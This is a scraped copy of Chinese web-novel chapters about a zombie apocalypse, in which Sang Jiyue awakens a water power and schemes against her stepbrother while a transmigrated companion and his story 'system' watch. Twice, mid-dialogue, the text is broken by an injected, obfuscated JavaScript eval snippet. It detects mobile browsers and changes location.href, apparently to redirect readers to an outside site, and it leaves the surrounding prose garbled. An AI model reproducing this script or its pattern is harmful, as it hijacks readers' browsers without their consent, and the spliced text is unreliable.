透明的光束在卡片上流动着,然后又没入了桑寄月的指尖。 窗外的雨声在此刻变得无比清晰,桑寄月几乎能感受到雨水的形状与温度,包括溅在地面上时迸裂的水珠。 那是……她可以驱动的力量。 盛星舟送了她一份了不起的礼物。 话说回来,这个时间节点,也该是桑淮要和殷乔重逢的时候了。 不仅仅是人类在这场暴雨中获得了超自然的力量,丧尸与他们是平等的,自然也能获得异能。 黑夜中,被外面的雨水冲进烂尾楼中的丧尸成为了殷乔他们最大的危机。 身无异能的殷乔被异能丧尸追赶,危在旦夕。 是为了躲避外面那条街上的丧尸而来此暂避的桑淮及时出现,救下来了殷乔。 桑寄月本来就打算摸黑伪装丧尸,看能不能多捅桑淮几刀,但既然她此刻也觉醒了异能的话…… 又为何不能与桑淮一战呢? 始终未曾眷顾过她的命运,却在这一次为她送来了盛星舟。 桑寄月有过片刻的希望,她会成功。 种种思绪百转千回,楼下已经传来了嘈杂的声响,预示着丧尸已经来临。 桑寄月不再多想,直接去隔壁找了盛星舟,盛星舟刚想要和她邀功,就听她语速飞快的对他说:“去照顾好乔乔。” 盛星舟:“?” 什么玩意。 但他还没来得及说话,桑寄月就已经很匆忙的戴上了帽子,隐进一片黑暗中。 盛星舟当机立断呼叫七四:“这段有没有剧本啊,给我看看。” 七四还在对盛星舟借了他20积分买异能卡却反手给了桑寄月,让她觉醒了异能而耿耿于怀。 本来女配就已经很难对付了,现在让她觉醒异能,想想就头疼。 “这段没女配啥事,她安全着呢。”为了证明,七四调了一下剧本给他看。 【原本是与继兄来到此处躲避丧尸的桑寄月蜷缩在一楼的角落里,惴惴不安的看着这里成片的丧尸。 暴雨连绵,脏污的积水没过小腿,带来阵阵寒意。 她的目光穿过尸群,落在了桑淮的身上,默默的诅咒他摔倒,让脏水冲刷他肮脏的灵魂,丧尸为他超度腐烂的□□。】 盛星舟:“……” 怎么还在心里骂人呢。 平时她也会有这么精彩的心理活动吗? 可爱死了。 …… 桑寄月这一次比桑淮更早的来到了殷乔的身边,她也不可能再蜷缩在角落里,只能在心里诅咒桑淮。 一楼的光线极暗,却挤了很多丧尸,殷乔他们被吵醒,连忙拿起武器来抵抗忽然来临的丧尸。 在战斗过程中,他们不约而同的发现他们觉醒了某种超自然的神秘力量,并且可以将之当成攻击丧尸的手段。 除了殷乔和林洛清。 殷乔会在两年后觉醒异能,但具体是什么异能,桑寄月似乎从来没有见她使用过。 至于林洛清,他没有机会觉醒异能了。 黑暗中,桑寄月不动声色的游离在丧尸群中,悄无声息的离开了这栋烂尾楼。 也正是那一瞬间,一道强烈的金光亮起,挥出金刃时,叶临捕捉到了那一抹离开的背影。 ……是,桑寄月吗? 她怎么有胆子跑出去?她要做什么? 丧尸近在咫尺,叶临来不及想太多,只能专心对付眼前的危机。 …… 桑淮也不知道为什么,自从末世来临后,他总是非常倒霉。 先是折返回家去找他的继妹,推开门看到的是烧成黑炭还能动的丧尸;然后经过燕回山的时候,他想要更换一柄更为锋利的武器,却在博物馆里被丧尸围攻,门也被人从外往里的锁上;等到了青州区,又是被青龙帮的逃犯们追杀了整整两个月的时间。 好不容易他来到了海晏区,想要找殷乔,路过一条街却发现这条街上竟然全是丧尸。 暴雨之下,桑淮当然不能硬碰硬,短暂的与丧尸交手后,他往偏僻的地方跑,却忽然发现,头顶的飘洒大雨,竟不知何时,变成了锋利无比的水刃。 锋利的白光一晃而过,桑淮反应极快的闪躲,但雨水无处不在,他避无可避,身上霎时鲜血淋漓。 这绝对不是寻常的雨水。 是水异能。 附近有水异能的人。 他微微抬起手,掌心凝聚着暗紫色的雷电,化作盾牌挡在了头顶,水刃嘀嗒穿过,与雷电碰撞,发出噼里啪啦的声响。 须臾,雨水终于趋近于正常。 桑淮并不恋战,立刻大步往眼前的建筑跑去。 然而脚下的积水却在此刻化作鬼手,迫使他钉在了原地,身上还在淌血的伤口上,鲜血疯狂的溢出,将他脚下染成刺目的血水。 桑淮面露惊骇。 雨滴,积水,哪怕是他自身的血液,都会成为那人抹杀他的利器。 究竟是什么人?! 桑淮意识到他必须得揪出那个人,否则他的血一定会被放干。 不是躲在暗处不肯出来么? 他面色冷沉,骤然失血过多带来的晕眩感让他单膝跪在了地面上,积水没过他的膝盖,他的手掌撑在地面上。 水底,暗紫色的雷电萦绕在他的掌心,然后与水面接触—— 噼里啪啦,火光四溅。 水面是极好的导体,大大的增强了雷电的威力,更甚至于是附近烂尾楼里的丧尸,都被电得趴在了水中,而桑淮是雷电宿主,他自然不受影响。 四周传来一声轻微的“噗通”声,似乎是有人摔倒了。 桑淮撑着一口气爬起来,趟着水走过去看,那里却空无一人。 跑得还挺快。 暴雨淅淅沥沥,外面依旧是危险的,桑淮没有犹豫,大步往就近的建筑物中冲去。 不远处。 嘈杂的雨声完美掩盖了桑寄月不停扑腾的声响,她被盛星单手抱着,双脚不停的踢着水面,水花四溅。 盛星舟一只手还要撑着伞,他有些抓不住比鱼还滑的桑寄月,很是无奈的说:“月姐,你差点就玩脱了知不知道,不是我的话桑淮就发现你了。” “你给我放开!”她冷了脸,怒斥盛星舟:“我不是说了让你去保护乔乔吗?你跑过来干扰我做什么啊!” 盛星舟:“谁管她死活,我只管你。” “现在我说话你都当耳旁风了是吗?”桑寄月表现得非常愤怒,她挣扎不脱,恨不得咬盛星舟一口,把自己气得直喘粗气。 “我错了,姐姐。”盛星舟很诚恳的说:“以后一定听你的。” 但光听不做。 “那你放开我。” 盛星舟在放开她之前不忘说道:“桑淮现在已经走了,你再冲过去一定就暴露了。” “我知道!” 盛星舟接着说道:“那我把你松开了,你不准打我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061801|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不打!” 盛星舟这才慢慢的松开手。 桑寄月反手就将雨水泼他脸上:“都说了不要干涉我的事,你听不懂是不是?” “我不来的话你打算怎么办?”盛星舟擦着脸上的水,将伞往她那边递了递。 “桑淮那个……”桑寄月险些脱口而出就是一句谩骂,但她及时忍住了:“桑淮看见是我一定会放松警惕,只要他靠近我,我就驱动周围的积水形成漩涡,把他淹死!” “但成功的可能性很低吧。” 桑寄月臭着脸说:“那又如何。” “你就不怕他反过来对付你吗?” 她非常狂傲的说道:“我有什么好怕的,他现在死不掉,我现在难道就会死掉吗?我告诉你盛星舟,无论我是伏低做小还是颐指气使,桑淮他们对我的印象永远都不会改变!” 既然这样,她为什么要委屈自己? 盛星舟自然明白她是在说她的上辈子,虽然这也没有错,他温声安抚她:“我们总能找到机会的,我会帮你。” 桑寄月冷哼了一声。 “那我们回去了?”盛星舟又说。 桑寄月点头,面无表情的往远处的建筑走去,地面上的积水已经到了她的小腿,她走起来很是艰难缓慢。 盛星舟忽然想起了七四刚才给他的剧本里,写的一段话。 【暴雨连绵,脏污的积水没过小腿,带来阵阵寒意。】 他忽然开口:“我背你吧。” 桑寄月动了动有些僵硬的小腿,让盛星舟弯腰,她毫不客气的爬上他的后背。 盛星舟勾着她的小腿,另一只手递出雨伞:“拿着伞。” 桑寄月接过,宽大的伞面撑在他们的头顶。 盛星舟稳稳的背着她往前走,后背的重量轻飘飘的,他忽然说:“好硌人啊,月姐。” 话音未落,耳朵被人掐住。 盛星舟闭嘴了。 烂尾楼的战斗随着桑淮的加入已经进入了尾声,盛星舟不动声色的带着桑寄月从窗户翻了进去。 他将桑寄月放在没有积水的楼梯上,然后加入了战局。 殷乔也刚站在楼梯上,看见桑寄月后松了一口气:“阿月,还好你也没事!” 桑寄月面色苍白的笑了笑,一阵冷风吹过,她瑟缩了一下:“我去换件衣服,好冷。” “我也去。”殷乔跟着说道,她攥住了桑寄月冰凉的手,将温热的体温传给她。 两个女生再下来的时候,丧尸已经被清理干净了。 积水没有蔓延到他们住的二楼,殷乔和桑寄月出来的时候,他们已经在各自休整,而桑淮和叶临站在楼梯口,似乎是正在交流什么。 听见脚步声,他们看了过来。 殷乔放开了桑寄月的手,三两步的跑到桑淮跟前,笑得特别开心:“阿淮,刚才谢谢你帮了我哦。” 她的朋友们都齐聚一堂啦。 桑淮摸了摸殷乔乌黑柔软的头顶,冷冰冰的脸上露出一丝笑意:“你没事就好。” 殷乔担忧的说:“可是你身上好多血,是发生了什么吗?” 桑淮瞥了眼桑寄月,没有说话。 叶临淡淡的开口:“阿淮被人偷袭了,应该是水异能者。” “这附近还有别人吗?”殷乔一愣。 “当然没有。”叶临看向桑寄月,冰冷开口:“刚才也只有你出去过吧,桑寄月。” 这话一出口,所有人都看了过来。 盛星舟已经站在了桑寄月的身后,打算情况不对就立刻动手。 21. 转变 桑寄月似乎是没想到叶临会忽然发难,她刚换了暖和的卫衣,黑发却有些湿漉漉的贴在面颊上,越显脸色苍白。 没有封上的窗户吹来一阵冷风,她身形微颤,似乎下一刻就要摔倒。 盛星舟连忙伸手去扶,但殷乔已经攥住桑寄月冰凉的手,不赞同的对着叶临说道:“肯定是你看错了,阿月不会这样做的,你们不要每次一发生什么事就都赖到阿月的身上!” 叶临似乎一听殷乔说这话就觉得头疼,示意桑淮开口。 桑淮揉了揉泛酸的太阳穴,沉声开口:“临哥没有必要污蔑她。” “临哥当然没有必要,但他眼神不好也是事实啊。” 桑淮一时也有些恼怒,他说:“乔乔,你不要每次都这么偏袒桑寄月,这么多年了,你能不能学聪明点?” “这么多年了,你们为什么就是要针对阿月?”殷乔反问。 两人似乎要吵起来了。 盛星舟站在一边看,他似乎很惊讶主角之间的感情竟然如此脆弱,罪魁祸首可是一句话都还没说啊。 原来系统给出的“柔弱绿茶”定义竟然是真的,但桑寄月茶的很明显是殷乔。 殷乔和桑淮最终不欢而散,还挽着桑寄月去了三楼和她一起睡,但桑寄月感觉她要生病了,不想传染殷乔,便婉拒了她的好意。 折腾了一晚上,所有人都疲倦不已。 桑寄月昏昏欲睡的倒在床上,盛星舟端着冲好的感冒冲剂走了进来,冲剂还有些热,他放在一边晾凉。 桑寄月睁了睁眼又闭上:“我等等喝,你去休息吧。” “我看你快睡着了,我们说说话。”盛星舟把她从床上拽起来,让她靠在柔软的枕头上。 桑寄月打了个呵欠,无精打采的说:“那你说吧。” “你和他们到底怎么回事,什么叫每一次?” 桑寄月想了想:“我们关系一直都不太好,我偶尔会给他们找点麻烦,时间久了他们出了什么事第一个想到的人就是我。” “那真是你吗?” “有的时候是,有的时候不是,太多次了,记不清。”桑寄月眨巴着眼睛,看起来很困,眼睛里都有了水雾:“不过乔乔倒是一直挺相信我的。” 盛星舟思索:“看来她是个好人。” “烂好人。”桑寄月轻笑了声:“无论是哪边闹矛盾,她都要从中斡旋,也不嫌累,而我们还就吃这一套。” “看出来了,但也包括你吗?” “是呀。”桑寄月不知想到了什么,神情有些怅然:“我要是能争气点,不吃她这一套就好了。” 盛星舟其实没太听懂,不过感冒冲剂也冷得差不多了,他端给了桑寄月,桑寄月双手捧着玻璃杯,仰头喝完。 “真的会生病吗?” 桑寄月已经觉得有些头重脚轻了,她从枕头上滑了下去,疲倦的躺在了床上:“嗯,淋了雨吹了风,是要生病的。” 盛星舟将枕头塞到了她的脑袋下面,帮她盖好被子,本来想直接走的,但想想还是很不放心,便索性就趴在近处的桌子上睡了。 再醒来的时候桑寄月还在睡,唇角干涩,但盛星舟摸了下她的额头,并没有发烧,也算是好事了。 不过桑寄月也的确需要老老实实的在床上躺几天养病了。 当然,除了桑寄月以外,还有桑淮也需要养伤,当时的水刃在他的身上割了很多深深的口子,有些严重。 好在殷乔之前收集了不少的物资,也包括大量的药物,很好的控制了桑淮的伤口没有发炎,他恢复得非常好。 这场雨下了三天三夜,地面上的积水几乎要没过人的腰腹,这样的天气绝对不适合出行,但他们也需要考虑接下来的方向,毕竟天气渐渐冷了,他们总不能一直待在这栋透风的烂尾楼里。 桑淮自然是知晓目前燕城的幸存者基地是在南山监狱的,只是附近暂时也没有军方的踪迹,他们想去幸存者基地的话也只能继续靠自己。 两人商讨了许久,决定等外面的积水情况好一些之后,前往幸存者基地,只不过说到前往基地的人员问题,他们不约而同的想到了桑寄月。 桑淮用非常平静的语气说:“在青州区的时候,我被青龙帮的人追杀,十有八九就是她的手笔。” 青龙帮行事太过奇怪,桑淮颇费了一番功夫才弄明白事情始末,也大概推断出当时究竟是怎么样的情况了。 除了在青州区,前几天半夜在雨中也是如此,他这一身伤都是拜她所赐。 叶临漠然道:“她想让你死。” “我爸临死前还让我照顾好她。”桑淮揉了揉有些发疼的太阳穴。 “只怕这件事没那么容易结束,只要她在我们身边一天,就是隐患。”叶临面色微沉:“现在是末世,杀人已经不犯法了,你别忘了,桑寄月是七岁就敢拿刀的坏种。” 年幼的女孩也不知道是受了什么刺激,一边说着什么证据一边抓起茶几上的水果刀,就想要攻击桑淮。 虽然很快就被制止了,桑寄月也为此在精神病院待了好几个月的时间才被放出来。 这之后她就像是变了个人一样,一身尖刺彻底收敛,又是往日乖巧甜美的模样,直到她数次背地里使坏被桑淮和叶临发现。 到现在已经十一年时间。 “她还没那么大的本事。”桑淮似是做出了让步:“况且乔乔和她关系很好,一起就一起吧,多注意就是了。” 叶临说:“那如果乔乔知道她觉醒了水异能呢?” …… 半个月后,外面的积水终于缓慢的没入了下水道里,只是地面上依旧潮湿,还滋生了霉斑,天气也阴沉沉的,时不时还会飘雨。 他们人数众多,物资也消耗得非常快,虽然殷乔的空间够大,但接下来还有很长一段路要走,他们也不能坐吃山空,所以一行人决定出发搜寻物资。 也正是在这个时候,七四上线,再度颁发了主线任务,并且给盛星舟看了相关的剧情。 【从青州区到海晏区,桑淮这一路走得很艰难,因为那张漂亮的脸,惹了不少麻烦的继妹。 谁也不知道她是不是故意的。 但既然无法确定,那就都当做是她刻意为之。 不过为了履行对父亲的承诺,桑淮并未丢下她。 在得知桑淮这一路的遭遇后,林洛安对此表现得非常愤怒,她一直都很不喜欢桑寄月,尤其是此刻,像是蛀虫一样的待在他们的小队里,却不知感恩。 林洛安决定给她一个教训。 叶临支持她的想法,他的表情很冷漠:“不听话的小孩,好好教训一下就听话了,从前没有机会,但现在可以,毕竟我们以后是要一起走的,她得乖一些。” 他们决定在三条街之外的连锁超市中收集物资,桑淮殷乔一队,叶临林洛清一队,林洛安许致远桑寄月一队。 超市里仍聚集着很多丧尸,但丧尸的数量也侧面印证了物资的数量会非常可观,但他们仍决定冒险一试。 林洛安看着游荡在货架间密密麻麻的丧尸,然后将目光挪向了脸色苍白的桑寄月。 前段时间的暴雨让她生了病,女孩苍白的脸色上还残留着些许病态,她还没有痊愈,却在他们要收集物资的时候,非要跟过来,似乎是想要证明什么。 注意到林洛安的目光,她仰起脑袋。像往常一样露出乖巧甜美的笑容,难辨真假:“洛安姐姐,怎么啦? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068468|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 林洛安需要桑寄月去引开那块区域的丧尸,他们会在丧尸都聚集在墙角的时候,用货架将它们圈起来,以确保区域清理干净,毕竟他们要搬运给殷乔的,是米面粮油一类的重物。 林洛安列举了很多理由,说得条条是道,但这是非常危险的行为,桑寄月没有第一时间答应。 林洛安冷漠的说:“桑寄月,你总不能什么都不做吧,还真指望我们一直养着你?你不拿出自己的价值来谁能容你?” 少女垂眸,很快轻轻应声。 计划进行得很顺利,她爬上了货架,穿梭在货架之上,惹得四周的那十几只丧尸不住扑腾。 林洛安与许致远也立刻趁机推移沉重的货架,他们的力气或许不够,但有异能在身,也能利用异能推动货架。 被一并圈住的,还有从货架上摔下来的桑寄月。 她大声呼救,丧尸却如潮水一样朝着她涌来,求生欲作祟,她尝试重新爬上货架,底下的丧尸却紧紧的攥住了她的脚踝,要将她拖下去。 隔着货架的缝隙,桑寄月看见了林洛安与许致远冰冷的双眼。 夯实的土盾为桑寄月暂时隔绝了丧尸,林洛安冷声说:“你好好反省反省吧,过半个小时我们会救你出来。” 她的指尖按在货架上,因为过于用力已经泛白,听见林洛安的话,又看着脚下密密麻麻的丧尸,她慌了。 一开始她还嘴硬的说不明白林洛安在说什么,但很快那块土盾开始出现裂痕,她哭着向他们道歉,向他们求饶。 但他们已经用推车搬着物资去了楼梯口的存放点。 桑寄月爬不上货架,双手发软,脚下的土盾碎裂的时候,她的手也抽筋了,剧烈的疼痛让她骤然失去了力气。 她朝着下方的丧尸群坠下。 纤细的手腕却被紧紧的攥住,清瘦的少年半跪在货架上,如释重负的模样:“阿月,抓到你了!” 他们本就是在同一层,这里高大的货架阻隔了视野,但林洛清听见了桑寄月哭泣的声音。 桑寄月露出一个比哭还难看的笑容,她哽咽着:“清清哥哥……” “我拉你上来。”林洛清飞快的说,双手用力。 愤怒的丧尸群看着逐渐远离他们的“食物”,忽然发狂般的撞击着沉重的货架,不堪重负的货架轰然倒塌。 林洛清与桑寄月跌入丧尸群中。 桑寄月摔在地上,有那么一瞬间,她的视线与听觉都模糊了,唯有不断滴落在脸上的滚烫鲜血在提醒她,此时是怎样的地狱。 林洛清捂住了她的双眼,没有让她看到这残忍的一幕,他挡在她的身上,替她拦住了丧尸的啃咬。 他们闹出来很大的动静,就连距离最远的桑淮与殷乔都赶了过来,连忙动手清理疯狂的丧尸。 超市里的丧尸马上就会被引过来,他们只能带着伤痕累累的林洛清与吓傻了的桑寄月提前撤离。 林洛安看着全身已经找不出一丝好肉的弟弟,情绪崩溃,充满仇视的看着桑寄月。 林洛清的伤口在急速腐烂,他倒在了地上,覆盖着一层白膜的眸子似是在附近找寻着什么。 下一瞬,他扑向瘫坐在地的桑寄月。 桑寄月安静的看着他,她没有感受到死亡的威胁,心中的情绪少有的平静。 谁也不知道林洛清要做什么。 是想要继承死前的本能保护桑寄月,还是遵从身体的欲望扑咬桑寄月? 但桑淮已经下意识的出手,击碎了已经尸化的同伴的头颅。 …… 顽劣恶毒的继妹,在那天之后,变得非常乖巧,看向他的目光怯懦又讨好。 她再也不敢干坏事。】 22. 替死 “可以先停车吗?阿月。” 平稳行驶在潮湿路面上的汽车缓缓停下,桑寄月歪头,疑惑的看着面色苍白的盛星舟:“怎么啦?你晕车?” 她又嘀咕着今天她可没有飙车。 盛星舟解开了安全带,身子前倾,紧紧的抱住了她,他宽厚温热的手掌按住她的后脑勺,将她往他的怀里压。 桑寄月呆了一秒,原本冰凉的身体在此刻变得暖烘烘的,就像是在烤火一样,但这并不妨碍她勃然大怒:“盛星舟!你做什么!” 最近真是对他太好了,仗着她好说话,竟然敢挟持她。 “我想抱抱你。”盛星舟闷声说道。 桑寄月并不领情,但她身上还绑着安全带,行动起来十分不方便:“你别得寸进尺。” “他们都是坏人。” “他们?” “除了你以外的所有人。”他说。 桑寄月嘀咕:“我到底哪里是个好人了,我恨不得天天做坏事。” 小恶魔长出犄角,扑腾着黑黑的翅膀,宣告着她的远大志向。 盛星舟轻轻的拍了下她的脑袋,然后放开了她:“继续出发吧。” 桑寄月在心里骂了声盛星舟神经病,然后将油门踩到底,汽车如同离弦之箭一样窜了出去。 虽然中间耽搁了一段时间,但殷乔他们到的时候,桑寄月还是赶到了,没有拖延,看着从驾驶位上走下来的桑寄月,殷乔表现得很惊讶。 桑寄月温柔的笑了笑:“现在朝不保夕的,我当然要多学一点技能啦。” 他们很快分好组,和上辈子一样,桑寄月跟着林洛安和许致远,盛星舟原本是要和他们一组的,但这样就四个人了,他便只得与叶临林洛清一组。 殷乔桑淮这组倒是只有两个人,但他们都默认了桑淮的实力,也没觉得他们两人一组有什么问题。 这家连锁超市的分地上地下两层,殷乔桑淮去了地下一层去察看冷库里有没有腐坏的生鲜,另外两组则是在地上一层收拾物资。 桑寄月趁着他们用手绘的超市地图划分搜寻区域的时候,低声对盛星舟说:“保护好清清哥哥,别给我掉链子。” 盛星舟很好说话的点了点头。 桑寄月:“你再敢破坏我的计划,我真的跟你翻脸了。” “不会。” 对话结束,进了超市之后,两组分开,一切都在按照过去的轨迹发展。 直到…… 丧尸提前发生暴动,他们愤怒的推倒了沉重的货架,尚未离开的林洛安与许致远被倒塌的货架压了个正着,丧尸趁此机会,一拥而上。 林洛安是偏向于防御的土异能,而许致远倒是攻击性的风异能,两人勉强推开身上沉重的货架,狼狈的从地上爬起来,提起异能对付丧尸。 只不过丧尸的数量超出了他们的想象,许致远当机立断,对林洛安说:“爬到货架上去!” 林洛安却是在这间隙疯狂搜寻桑寄月的踪迹,却只见丧尸狰狞的面容,完全看不见桑寄月的身影。 许致远催促:“快,来不及了!” 林洛安骤然回神,攀着旁边沉重的货架极为灵敏的爬了上去,少了她的土盾,许致远立刻被丧尸包围。 “致远,我拉你上来!”林洛安凝出土刺,击碎最近丧尸的头颅,然后她朝着许致远伸出了手。 两只手交握的瞬间,许致远也终于爬上了货架,但丧尸不依不饶也想跟着爬上来,更多的丧尸撞击着货架,货架摇摇晃晃,他们在上面待不了多久了。 林洛安尝试呼救,但这里的货架太高,队友们也聚集他们太远,他们能够依靠的,只有自己。 不远处的货架后面,桑寄月擦了擦脸上丧尸的鲜血,听见林洛安和许致远求救的声音,一时有些恍惚。 这一次在地狱中的人不会再是她。 很快,那不堪重负的货架轰然倒塌,两人再度被压在了货架之上,而这一次他们被在货架上乱爬的丧尸压得动弹不得。 这声音终于将同一片区域的叶临和林洛清吸引了过来,与之一起被吸引过来的,还有更多的丧尸。 盛星舟慢悠悠的跟在他们的身后,倒是很听话的在保护林洛清。 叶临和林洛清看见这里的一片狼藉大为惊愕,一边挥开不断扑上来的丧尸,一边尝试上前帮忙。 附近被引过来的丧尸多了,桑寄月的身后也意思着追了两只,她看起来很是惊惶,见着他们慌忙跑了过去想要求救。 叶临没理她,直直的往货架倒塌的地方跑;林洛清倒是接住了险些摔跤的桑寄月,飞快的说了声“别怕”。 盛星舟一脚踹开面前的丧尸,嘴角下撇,但在接触到桑寄月的眼神后,他还是老老实实的跟上叶临去帮忙了。 林洛清一边拉着桑寄月,一边紧张的去看那边的情况,好几次都险些被丧尸咬个正着,被桑寄月不动声色的带离。 那边,叶临和盛星舟也赶到了倒塌的货架旁。 叶临释放金异能,瞬间横扫了一大片的丧尸,但丧尸堆叠的躯体倒在货架上,他尝试去抬起货架,也于事无补,便只能先对付爬起来的丧尸。 货架下的两人被压得呕出了一口鲜血,气息不稳。 地下一层的桑淮和殷乔也闻讯而来。 有了桑淮加入战局,围着倒塌货架的丧尸终于被清理了个干净,但还源源不断的有丧尸聚过来,桑淮拦住了那些聚过来的丧尸,对着叶临说:“赶紧搬!” 货架上是密密麻麻的丧尸尸体。 货架旁的其他人连忙去搬丧尸的尸体,林洛清也赶了过来,一边喊着林洛安的名字,一边颤抖着手帮忙。 沉重的货架终于能抬动,重新能呼吸的林洛安与许致远面色苍白如纸,几乎是站都站不起来。 丧尸越来越多了。 桑淮与他们汇合,身后追着一串丧尸:“得赶紧撤!” 林洛清想去扶林洛安,却被桑寄月死死地攥住了胳膊,她看起来很害怕,下意识的依靠身旁的人。 在这间隙,叶临扶起了许致远,盛星舟把林洛安拖了起来,推给殷乔。 桑淮在前面开路,中间依次是桑寄月林洛清,殷乔林洛安,叶临许致远,盛星舟殿后。 一行人艰难的往门口移动,如果他们没有觉醒异能的话,面对数量如此可怖的丧尸,只怕会被尸群淹没。 快要到门口的时候,队形已经散乱,几人围成了一个圈,一只丧尸忽然失控般的砸向了林洛安。 殷乔发出一声短促的尖叫,下意识的挡在林洛安的面前,被盛星舟拉了一把,避开了丧尸尖锐的獠牙。 林洛安跌坐在地,无力的看着丧尸朝着她扑来。 桑淮和叶临要对付大多数的丧尸,此时分身乏术。 桑寄月死死地攥住林洛清的胳膊,兴奋的看着接下来将要发生的 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桑寄月抽噎着说:“那块区域的丧尸太多了,洛安姐姐让我去把丧尸引开,我也想为团队做贡献,就去了……” 殷乔有些惊愕的微张着嘴。 他们谁不知道超市里的丧尸多? 但这间超市真的很大,货架也很高,摆放排列切割着这块极大的空间,犹如迷宫,数量惊人的丧尸也被这迷宫分散,他们完全可以不和丧尸起正面冲突。 在进去超市前他们也达成了共识。 看着崩溃的林洛安,殷乔却说不出指责的话来,她沉默的退到了一边。 叶临忽然在这时候开口,他看向盛星舟:“你为什么见死不救?” 盛星舟既然可以拉开殷乔,自然也可以顺手处理掉那只扑过来的丧尸。 林洛安也意识到了这一点,她咬牙切齿的看向盛星舟,难掩恨意。 他们日常看见盛星舟的时候他都是在桑寄月的旁边,和桑寄月有说有笑,偶尔也会和殷乔与林洛清说上几句话,很爱笑,脾气也很好。 之前暴雨没有来临的时候,盛星舟还跟着他们一起去清理附近的丧尸,他们也曾并肩作战过,他是很可靠的伙伴。 可就是这样一个人,在刚才见死不救。 他的脸上没了平时的笑意,站在桑寄月的身边,用冷漠的语调反问:“为什么要救?他该死。” 不止是林洛安,桑寄月听了也多看了盛星舟一眼,隐隐觉得他好像哪里不一样了。 盛星舟用干净的指尖擦掉桑寄月眼角残存的泪花,然后对着林洛安说道:“都说害人终害己,你倒是运气好,这次让许致远替你死了。” “你胡说八道什么!?”林洛安的面色骤变。 话音未曾落下,她忽然凝聚土刺,朝着盛星舟狠狠刺去。 盛星舟没有异能,林洛安和他距离得又太近,这一击他如果尝试躲避的话,很有可能会连累到他旁边的桑寄月。 不过只是一瞬的思绪,那枚土刺便已近在咫尺—— 谁也没想到,桑寄月会忽然出手。 透明的水紧紧的包裹住了那枚土刺,土刺在水球内爆开,湿漉漉的泥水雨点一样的喷溅开来。 盛星舟将桑寄月拉到身后,泥点子被他挡了个干净。 23. 争吵 气氛在此时陡然僵持。 叶临的目光最先落在了桑寄月的身上,他和桑寄月的确也有矛盾,但他一个大男人,他不太屑于和她计较,但与桑寄月有矛盾的,可不止他一人。 林洛安会在今天陡然向桑寄月发难,也和他透露过一些,叶临赞同她的做法,但他已经决定作壁上观,最好能试出桑寄月的确是身怀水异能,证明当晚伤害桑淮的凶手就是她。 他没想过林洛安失败的可能性,毕竟她要对付的只是一个桑寄月而已。 但林洛安失败了。 他听见他们那块区域传过来的动静,一开始都根本没有放在心上,直到林洛清开始往那边跑。 后来的惨剧是他们谁也没有想到的。 桑寄月也自始至终都没有出手,躲在别人的身后,用她清澈的、湿漉漉的眸子,静静的看着这一切,无害至极。 除了殷乔和林洛清,他们都不会被她的这副假象蒙蔽。 但她亲手揭开了她的面具。 只是因为一个盛星舟。 有意思。 无论如何,叶临想看见的画面已经出现了。 不过叶临没有率先开口,林洛安自然会怒不可遏,她愤怒的看着桑寄月,声音逐渐尖锐了起来:“你有异能?你竟然有异能?那你一直以来都在装什么?!我们被丧尸围攻的时候就躲在一边看热闹!” 桑寄月把盛星舟扒拉到一边,对上了愤怒的林洛安,她的脸上已经不剩下什么表情了,如同很多次她独处时那样。 “难道不是你们想先看我的热闹吗?”她毫无情绪的陈述着前世今生既定的事实:“想看我哭泣,看我求饶,想我去承认某些被扭曲的‘事实’。” 林洛安咬牙切齿:“你是什么样的人我们有目共睹,在这里装什么无辜?你真以为我们和乔乔一样好骗?” 他们这群人里,除了殷乔和林洛清,或许还有本不该存在于他们故事里的盛星舟,哪里还有纯白的人? 在这段混乱的关系中,谁都不无辜。 都该死。 桑寄月扫了一眼还想要置身事外的叶临,直接把他拉下水,质问道:“你早就知道林洛安要让我去引丧尸吧,既然这样,林洛安被丧尸围攻的时候,你为什么不来帮忙?” 叶临没想到这把火会烧到他的身上,他甚至都还没来得及向桑寄月发难。 已经气得理智全无的林洛安被轻易带偏,她倏的看向叶临:“那时候你在哪里?我不是说过,以防万一要你多盯着点吗?如果你早点发现,我们怎么可能会被压在货架下面,致远又怎么可能会死!” 那间超市的丧尸那么多,如果无人接应,林洛安也不敢那么闹。 她也是这时才惊觉叶临在作壁上观。 叶临的神情不变,依旧冷漠:“洛安,我们已经失去了一名队友,你确定你要信她的挑拨离间吗?” 林洛安用充满仇视的目光看着桑寄月,看着叶临,看着盛星舟,异能在她体内暴动,惹得旁边绿化带里潮湿的土块都在翻腾。 她想让他们死。 始终沉默的殷乔忽然开口:“临哥,阿月说的是真的吗?你都知道?” “一开始,我只是想证明,当晚攻击桑淮的就是桑寄月,面对丧尸的时候,她不可能不使用异能。”叶临冷冷的看着桑寄月:“事实证明,我的猜测没有错,那晚桑淮伤成什么样,你们都看到了!乔乔,你也该看透她了。” 桑淮见几乎所有事都抖落出来了,他明白这是让殷乔放弃桑寄月的好机会,于是也告知了她青州区发生的事。 殷乔又看向桑寄月。 少女失去了往日的乖巧甜美,像是一块充满棱角的冰,迎着殷乔的目光,她并不遮掩,像是发泄一样,直接承认:“对,是我,我从小就讨厌他,恨不得他去死!乔乔,你难道不知道吗?” 殷乔全都知道,她张了张嘴,一句话都说不出来。 桑寄月充满恶意的看向桑淮:“沈颢眀死了,你为什么不跟他一起死?还把他埋在我妈妈旁边,打扰她的安宁?桑淮,你贱不贱呐。” 